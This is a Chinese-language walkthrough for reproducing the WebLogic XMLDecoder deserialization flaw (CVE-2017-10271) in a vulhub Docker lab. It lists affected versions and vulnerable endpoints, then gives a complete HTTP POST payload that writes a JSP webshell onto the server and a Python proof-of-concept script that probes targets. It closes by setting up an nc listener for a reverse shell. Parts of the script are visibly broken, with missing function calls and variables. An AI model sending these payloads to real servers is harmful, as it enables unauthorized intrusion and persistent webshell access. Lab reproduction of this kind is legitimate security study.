XMLDecoder反序列化漏洞(CVE-2017-10271)
0x00 漏洞产⽣的原因decoder
CVE-2017-10271漏洞产⽣的原因⼤致是Weblogic的WLS Security组件对外提供webservice服务,其中使⽤了XMLDecoder来解析⽤户传⼊的XML数据,在解析的过程中出现反序列化漏洞,导致可执⾏任意命令。攻击者发送精⼼构造的xml数据甚⾄能通过反弹shell拿到权限。
反序列化漏洞的原理与动态调试推荐链接
0x01 漏洞涉及版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
0x02 漏洞地址
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
0x03 环境部署
我在虚拟机上使⽤的是vulhub。它是⼀个基于docker和docker-compose的漏洞环境集合,进⼊对应⽬录并执⾏⼀条语句即可启动⼀个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本⾝。
#进⼊XML Decoder 反序列化漏洞复现环境:
cd vulhub-master/weblogic/CVE-2017-10271
#进⾏服务构建
docker-compose build
#启动环境
docker-compose up -d
0x04 验证是否存在漏洞
环境启动之后查看⼀下IP地址
1.⼯具利⽤ — XML反序列化漏洞检查⼯具
(1)先使⽤XML反序列化漏洞检查⼯具进⾏检查上⾯任⼀漏洞是否存在漏洞
(2)在浏览器中粘贴URL验证地址,验证此漏洞的存在
2.Burp抓包传⼊数据验证
(2)将GET变为POST,并复制Webshell,粘贴,替换⾥⾯的内容,点击Go按钮。
webshell内容如下
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="bea/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>    <void method="println">
<string>
<![CDATA[
<% out.print("webshell"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3.脚本利⽤ —
(1)运⾏脚本后,发现存在WebLogic WLS远程执⾏漏洞(CVE-2017-10271)。
基于python3的脚本内容
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
#url="192.168.189.137:7001"
posturl=url+'/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="bea/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/</string><void method="println">                        <string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
print (url)
try:
r=requests.post(posturl,data=data,headers=headers,timeout=5)
geturl=url+"/"
print (geturl)
check_result = (geturl,headers=headers,timeout=5)
if 'xmldecoder_vul_test' in :
print ("[+]存在WebLogic WLS远程执⾏漏洞(CVE-2017-10271)")
except:
print ("[-]不存在WebLogic WLS远程执⾏漏洞(CVE-2017-10271)")
if __name__ == '__main__':
url = "192.168.189.137:7001"
Webogic_XMLDecoder_poc(url)
0x05 反弹⼀个shell
1.使⽤Burp抓包,将其转发到“Repeater”模块下,攻击机开始监听,nc -l -p 端⼝
注意:windows下需要⽤到nc⼯具,才能监听,在nc⽬录下打开cmd,输⼊命令进⾏监听,Ubuntu上可以直接输⼊命令进⾏监听。windows下nc⼯具链接:
链接:pan.baidu/s/11H_Y9FxqyvpRm9HjeIbcfg
提取码:c731

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。